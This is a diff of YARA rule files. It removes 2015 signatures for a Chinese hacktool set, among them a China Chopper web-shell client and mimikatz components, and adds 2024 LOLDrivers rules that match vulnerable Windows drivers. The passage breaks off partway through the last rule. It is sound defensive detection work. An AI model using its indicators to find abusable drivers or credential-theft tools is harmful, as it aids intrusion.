+rule LOLDRIVERS_PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_D5C4 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file SQLTools.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "bddb7956-abc1-58b6-8a6d-eb482be99f42"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L2167-L2186"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "38a9caa2079afa2c8d7327e7762f7ed9a69056f7"
-		logic_hash = "35b84c3445e92d61ca5e638a2eb19128dca2174327c6325436287d8d3f0bb976"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "9994e1c0-b86b-578d-8002-554584e1de2b"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L11181-L11200"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "d5c4ff35eaa74ccdb80c7197d3d113c9cd38561070f2aa69c0affe8ed84a77c9"
+		logic_hash = "d6ad094f2e26ff574917770a94af31110f2ed68e47ee082ad4adfcd7376679a5"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "DBN_POST" fullword wide
-		$s2 = "LOADER ERROR" fullword ascii
-		$s3 = "www.1285.net" fullword wide
-		$s4 = "TUPFILEFORM" fullword wide
-		$s5 = "DBN_DELETE" fullword wide
-		$s6 = "DBINSERT" fullword wide
-		$s7 = "Copyright (C) Kibosoft Corp. 2001-2006" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0036002e0033003900370039002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0036002e0033003900370039002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2350KB and all of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_HKTL_Portscanner_533_NET_Jun15 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Wj_Kprocesshacker_7021 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file portscanner.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c834203d-6d4d-5242-9b1e-b64fa6560ccd"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		old_rule_name = "portscanner"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L2188-L2205"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1de367d503fdaaeee30e8ad7c100dd1e320858a4"
-		logic_hash = "446cbc1b8046bfd182e0b1c98fe37c8b8ef98f600f5d80d9de83b45aeaf2b386"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - kprocesshacker.sys"
+		author = "Florian Roth"
+		id = "dd2a2bfd-12be-5cdb-8293-c51220015bd9"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L11203-L11221"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "70211a3f90376bbc61f49c22a63075d1d4ddd53f0aefa976216c46e6ba39a9f4"
+		logic_hash = "e5d17a5b57183c3a27815b5b64014e9d95f49129cd451c62380ba8e1b4d25be6"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "PortListfNo" fullword ascii
-		$s1 = ".533.net" fullword ascii
-		$s2 = "CRTDLL.DLL" fullword ascii
-		$s3 = "exitfc" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004b00500072006f0063006500730073004800610063006b00650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0077006a00330032 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0030 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004b00500072006f0063006500730073004800610063006b00650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006b00700072006f0063006500730073006800610063006b00650072002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]004c006900630065006e00730065006400200075006e006400650072002000740068006500200047004e0055002000470050004c002c002000760033002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <25KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Kappfree : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_76E8 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file kappfree.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "eb9c1324-5d82-57ab-bd48-98c984b45b32"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L2207-L2222"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e57e79f190f8a24ca911e6c7e008743480c08553"
-		logic_hash = "b1b644f9b033ac8372369e81628ee3f6fe094f80d11b8f4f6c192a5e81d2e543"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		id = "2d26b107-7fcb-5acd-94e4-ed18c399ad66"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L11224-L11243"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "76e807b6c0214e66455f09a8de8faad40b738982ca84470f0043de0290449524"
+		logic_hash = "0a9822cd471bb7fdaab454e824e31e1dcd685f9226c4fa34af4f13dd228dc97b"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Bienvenue dans un processus distant" fullword wide
-		$s2 = "kappfree.dll" fullword ascii
-		$s3 = "kappfree de mimikatz pour Windows (anti AppLocker)" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00320030002e0030002e0031003000300038 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00320030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100330020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_Smartniff : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_5148 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file Smartniff.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "3d169126-1b43-5545-a106-7c38a6a49499"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L2224-L2239"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "67609f21d54a57955d8fe6d48bc471f328748d0a"
-		logic_hash = "bac770ae3c8e7f619da0b0ff4243716ff8212dce0f36c08c127af892548fe0b6"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - elbycdio.sys"
+		author = "Florian Roth"
+		id = "8685ea34-689e-5b00-8aeb-8f15dd7b3f25"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L11246-L11265"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "51480eebbbfb684149842c3e19a8ffbd3f71183c017e0c4bc6cf06aacf9c0292"
+		logic_hash = "b36414a71e9bd69512ef0c702bf4f7b4bfdb812326a67a0e50f6f75f5c89c152"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "smsniff.exe" fullword wide
-		$s2 = "support@nirsoft.net0" fullword ascii
-		$s3 = "</requestedPrivileges></security></trustInfo></assembly>" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0034002c00200033002c00200030002c00200033 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0034002c00200033002c00200030002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003300200045006c00610062006f0072006100740065002000420079007400650073002000410047 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Chinachopper_Caidao : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Biostargroup_Iodriver_Biostariodriver_1D03 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file caidao.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c56eb3e5-e916-535b-bf87-88a9ae94c359"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L2241-L2259"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "056a60ec1f6a8959bfc43254d97527b003ae5edb"
-		logic_hash = "7e16a452c98e36a4946bcede5552bef7f6fc82314b28b506307cf010a0890ea6"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - BS_HWMIO64_W10.sys"
+		author = "Florian Roth"
+		id = "ea157129-3347-5ba0-a115-928b4aef345f"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L11268-L11287"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "1d0397c263d51e9fc95bcc8baf98d1a853e1c0401cd0e27c7bf5da3fba1c93a8"
+		logic_hash = "26e886b28b40a920558a652197a0d7a31fc5f7b239d3886fdf0f44da4590dabb"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Pass,Config,n{)" fullword ascii
-		$s2 = "phMYSQLZ" fullword ascii
-		$s3 = "\\DHLP\\." ascii
-		$s4 = "\\dhlp\\." ascii
-		$s5 = "SHAutoComple" fullword ascii
-		$s6 = "MainFrame" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049002f004f00200049006e00740065007200660061006300650020006400720069007600650072002000660069006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00420049004f0053005400410052002000470072006f00750070 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002c00200030002c00200031003800300036002c00200032003200300030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002c00200030002c00200031003800300036002c00200032003200300030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0049002f004f0020006400720069007600650072 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00420049004f005300540041005200200049002f004f0020006400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00420053005f00480057004d0049004f00360034005f005700310030002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000310038002d0032003000310039002000420049004f0053005400410052002000470072006f00750070 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1077KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Kiwitaskmgr_2 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_E2E7 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file KiwiTaskmgr.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "ea021257-8ced-5131-a00a-be014b4112fb"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L2261-L2276"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8bd6c9f2e8be3e74bd83c6a2d929f8a69422fb16"
-		logic_hash = "6d197e9b7bb9bbd759d6c8c882f7d7412512ba10208cb52a08fcde5e32fd1733"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "ec02c434-7918-5212-85f6-5ee417940b7c"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L11290-L11309"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "e2e79f1e696f27fa70d72f97e448081b1fa14d59cbb89bb4a40428534dd5c6f6"
+		logic_hash = "9f77c427b54f1a940547cfc206b8d1aed0288d0664a5a124785c7fcec7b90507"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Process Ok, Memory Ok, resuming process :)" fullword wide
-		$s2 = "Kiwi Taskmgr no-gpo" fullword wide
-		$s3 = "KiwiAndTaskMgr" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0034002e0034003200310031002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0034002e0034003200310031002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310039002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
 
 	condition:
 		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_Kappfree_2 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Windowsrwinddkprovider_Dcprotectsys_Dcprotectrwinxdriver_B224 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file kappfree.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "6c7b4a99-b5ab-5fd6-b130-7c30b84b7171"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L2278-L2294"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5d578df9a71670aa832d1cd63379e6162564fb6b"
-		logic_hash = "1862f1283e8a268f523b3922b3630ebbca9a81cc5aed19e5068315e6346d25c2"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - DcProtect.sys"
+		author = "Florian Roth"
+		id = "d5d84ed9-f0c5-54a8-8a7d-0006c1c98f1d"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L11312-L11331"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "b2247e68386c1bdfd48687105c3728ebbad672daffa91b57845b4e49693ffd71"
+		logic_hash = "e1d35eb3ea6012cf8b742e97f08d797b4fd64bcc72bd7ebccb8ca33f11afad67"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "kappfree.dll" fullword ascii
-		$s2 = "kappfree de mimikatz pour Windows (anti AppLocker)" fullword wide
-		$s3 = "' introuvable !" fullword wide
-		$s4 = "kiwi\\mimikatz" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0044006300500072006f00740065006300740020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b002000700072006f00760069006400650072 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0044006300500072006f0074006500630074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0044006300500072006f00740065006300740020002800520029002000570069006e0031003000780036003400200064007200690076006500720020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0044006300500072006f0074006500630074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310032002d00320030003200300020004a00690061006e0067006d0065006e0020004500790075006e0020004e006500740077006f0072006b00200043006f002e002c004c00740064002e00200032003000310039 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and 2 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_X_Way2_5_Sqlcmd : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_5F69 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file sqlcmd.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c6b4dae2-38cb-5cf9-b980-df5ebefbe7ad"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L2296-L2324"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5152a57e3638418b0d97a42db1c0fc2f893a2794"
-		logic_hash = "59fd25a786d56885e456fca154800a8313cd04a23fd9374361cc37b86be109a1"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
+		author = "Florian Roth"
+		id = "04fdd9f7-605b-54ee-849d-44a50ef732d2"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L11334-L11353"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "5f69d6b167a1eeca3f6ac64785c3c01976ee7303171faf998d65852056988683"
+		logic_hash = "0242a0398f90468dfc41eb04570a70d5072fe089b270feb1f5ab7fbd2c7a1ffc"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "LOADER ERROR" fullword ascii
-		$s2 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii
-		$s3 = "The ordinal %u could not be located in the dynamic link library %s" fullword ascii
-		$s4 = "kernel32.dll" fullword ascii
-		$s5 = "VirtualAlloc" fullword ascii
-		$s6 = "VirtualFree" fullword ascii
-		$s7 = "VirtualProtect" fullword ascii
-		$s8 = "ExitProcess" fullword ascii
-		$s9 = "user32.dll" fullword ascii
-		$s16 = "MessageBoxA" fullword ascii
-		$s10 = "wsprintfA" fullword ascii
-		$s11 = "kernel32.dll" fullword ascii
-		$s12 = "GetProcAddress" fullword ascii
-		$s13 = "GetModuleHandleA" fullword ascii
-		$s14 = "LoadLibraryA" fullword ascii
-		$s15 = "odbc32.dll" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300033002e0032002e00370020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300033002e0032002e0037 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003600200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <23KB and filesize >20KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Win32_Klock : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avastsoftware_Ngiodriversys_Avastng_5E3B : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file klock.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "dd17a8e2-54af-5967-937a-d83feceab891"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L2326-L2341"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7addce4434670927c4efaa560524680ba2871d17"
-		logic_hash = "e9f1d38de15ce06d55cf276e0f2becd9f9dbf5bd22f9061de03761d7ccdd3e60"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ngiodriver.sys"
+		author = "Florian Roth"
+		id = "f454f9bf-3dd3-5bb1-a5b5-c00f5356bd25"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L11356-L11375"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "5e3bc2d7bc56971457d642458563435c7e5c9c3c7c079ef5abeb6a61fb4d52ea"
+		logic_hash = "893fe9de3a164fd33483d139e76db4c213c402f276bd285c9acefd76da1d2f38"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "klock.dll" fullword ascii
-		$s2 = "Erreur : impossible de basculer le bureau ; SwitchDesktop : " fullword wide
-		$s3 = "klock de mimikatz pour Windows" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0061007600610073007400210020004e0047002000730065007400750070002000680065006c0070006500720020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0030002e0030002e00330033 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0030002e0030002e00330033 }
